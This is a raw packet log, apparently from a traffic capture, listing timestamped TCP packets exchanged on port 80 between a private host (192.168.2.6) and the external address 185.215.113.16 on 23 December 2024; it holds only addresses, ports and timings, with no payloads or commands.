Dec 23, 2024 06:54:36.679449081 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.679490089 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.679595947 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.679642916 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.681438923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.681479931 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.787089109 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.787154913 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.787182093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.787201881 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.787753105 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.787796021 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.787879944 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.787921906 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.789179087 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.789226055 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.789288998 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.789329052 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.790878057 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.790924072 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.790951967 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.790990114 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.792429924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.792474985 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.792714119 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.792752981 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.794044971 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.794094086 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.794116974 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.794156075 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.795614958 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.795656919 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.795722008 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.795761108 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.797185898 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.797235012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.797302961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.797343016 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.798711061 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.798753023 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.798882961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.798923016 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.800231934 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.800291061 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.800323009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.800362110 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.801678896 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.801728010 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.801759958 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.801800966 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.803169012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.803215981 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.803248882 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.803287983 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.804625034 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.804668903 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.804733038 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.804773092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.806113958 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.806164980 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.806204081 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.806246042 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.807634115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.807677031 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.807805061 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.807843924 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.809046030 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.809096098 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.809134960 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.809201002 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.810513020 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.810559988 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.810612917 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.810652971 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.811980963 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.812021971 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.812067986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.812105894 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.813431025 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.813476086 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.813539028 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.813584089 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.814908981 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.814960003 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.814979076 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.815015078 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.816351891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.816401005 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.816454887 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.816499949 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.817842007 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.817889929 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.817935944 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.817975998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.819293022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.819345951 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.819443941 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.819482088 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.820755005 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.820802927 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.820915937 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.820957899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.822271109 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.822320938 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.822355986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.822396040 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.823695898 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.823749065 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.823824883 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.823864937 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.825150013 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.825198889 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.825265884 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.825308084 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.826620102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.826672077 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.826726913 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.826767921 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.828110933 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.828159094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.828186989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.828227997 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.829526901 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.829576969 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.829639912 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.829688072 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.831029892 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.831085920 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.831126928 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.831167936 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.832464933 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.832515955 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.832549095 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.832587957 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.833934069 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.833986998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.834037066 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.834076881 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.835422993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.835470915 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.835508108 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.835546970 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.836894989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.836956024 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.836982965 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.837023020 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.838370085 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.838421106 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.838444948 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.838485956 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.839832067 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.839883089 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.839929104 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.839970112 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.841289997 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.841358900 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.841386080 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.841423035 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.842767000 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.842823029 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.842871904 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.842911005 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.844244003 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.844300032 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.844325066 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.844362020 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.845674992 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.845716953 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.845779896 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.845817089 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.847157955 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.847218037 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.847244024 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.847281933 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.848613977 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.848663092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.848716021 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.848758936 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.850111961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.850157976 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.850183010 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.850219011 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.851536036 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.851586103 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.851636887 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.851675034 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.853022099 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.853079081 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.853151083 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.853190899 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.854543924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.854561090 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.854597092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.855947018 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.855979919 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.855979919 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.856030941 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.856071949 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.857485056 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.857546091 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.857563972 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.857599020 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.858897924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.858939886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.858988047 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.859029055 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.860347986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.860385895 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.860450029 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.860496998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.861805916 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.861861944 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.861911058 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.861953020 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.979125023 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.979197979 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.979233980 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.979273081 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.979765892 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.979808092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.979883909 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.979923010 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.981014013 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.981066942 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.981106043 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.981149912 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.982235909 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.982284069 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.982342005 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.982383966 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.983503103 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.983561039 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.983642101 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.983684063 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.984704971 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.984750032 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.984826088 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.984891891 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.985975981 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.986027956 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.986078978 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.986120939 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.987138987 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.987186909 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.987252951 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.987293959 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.988390923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.988432884 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.988517046 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.988559008 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.989574909 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.989626884 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.989778996 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.989833117 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.990825891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.990864992 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.990921974 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.990958929 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.992007017 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.992048025 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.992117882 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.992157936 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.993210077 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.993261099 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.993345976 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.993390083 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.994438887 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.994484901 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.994535923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.994596004 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.995663881 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.995712996 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.995758057 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.995800018 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.996855974 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.996898890 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.996962070 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.997009993 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.998100996 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.998162985 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.998251915 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.998294115 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.999283075 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.999332905 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:36.999397039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:36.999433041 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.000500917 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.000622988 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.000663996 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.000686884 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.001708031 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.001770973 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.001795053 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.001848936 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.002964020 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.003019094 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.003072977 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.003113031 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.004152060 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.004204035 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.004252911 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.004302025 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.005389929 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.005448103 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.005486012 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.005528927 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.006573915 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.006623030 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.006690025 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.006736994 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.007792950 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.007853985 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.007894993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.007941008 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.009013891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.009064913 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.009181976 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.009219885 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.010220051 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.010267019 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.010339975 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.010382891 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.011441946 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.011491060 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.011543036 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.011590004 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.012634039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.012681007 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.012737989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.012782097 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.013866901 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.013911963 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.013993979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.014036894 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.015053988 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.015100956 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.015182018 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.015225887 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.016287088 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.016331911 CET	49927	80	192.168.2.6	185.215.113.16
